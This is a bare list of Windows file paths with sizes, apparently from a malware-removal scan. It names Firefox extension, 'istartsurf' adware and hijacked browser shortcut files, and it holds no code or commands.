C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5cae6a52cc77e73fd47e37664a12ca2b.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ea6c0a02c06ac8ac8fec7ba8fb3a33d5.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\79884a982a4e1779f6d2d4cae2b26b63.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8edf68bd2a513df3ed45d9a2a1938d5b.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ee5ea7810742a1ad4f86a6330778da16.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\75a7eb0fc602b22be4eeefad03762876.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\44597f96c69782e598fefebdae66d0fd.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\28980902501fd9731f658c4b6af3b460.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9a4cdd7493c0c5a9ed9bd25fe7e267aa.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e65cdfbf7c005fcf208f4b2ad5b47403.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\c0650166544d66f5f6a6bae5ca5d5c26.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e308dfae68ba85f182b7e2e8be3600bd.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d954be94f8dacf8509958d909d7a0433.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\081e130f36d9e5a638c5b1bc4faec2a1.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\a2a8cb3fe5768300227b2aecb2c1b793.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\836fd1a85c2aa04ff1419cd739b392df.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\d31e7d44c26616f2c8dfb59f122bebfc.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\19ee57e884ea6b7545abcdb5a365af15.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (622 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\04a48d2d60105ed50d54968258762b20.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a44652bba26d8d3de94701ea1995c7ea.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\be1c028528685b5d619398934981911e.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ea52aee1bef8f2b995906e159a4e0928.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\fd5e2e93b4e520749386f613060a61de.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\8e507ea450a4cfeefdd8835e63189cc1.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\f9e7ff2ba67363db308719775ec8dcd9.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\a6804bd40d7e61d63e1d40265f84a336.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\385.js (805 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\df027d2ba387f776a1f223ed1e63cab2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\f614c5f129f2d52c7f9c1bb7cbc9ddd0.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a05e0af7a69c234cc5d427c5d3cdc3a6.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\20ad0477a7552dbdc57acc33eee82a04.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\1423e41f87f0ae133acac16c256524a1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\3d955622fb602996aac540847392d179.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\290.js (897 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e7462d2036774173df7a007ee24a0091.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\cf2ff26f1bd291f4fcc34b282ab330fc.js (649 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6c25ca5f9b923eec942a63b0414e0aea.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBC522.tmp (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2AE8.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\index.html (4 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp527985\QQBrowserFrame.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2B08.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429342553_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
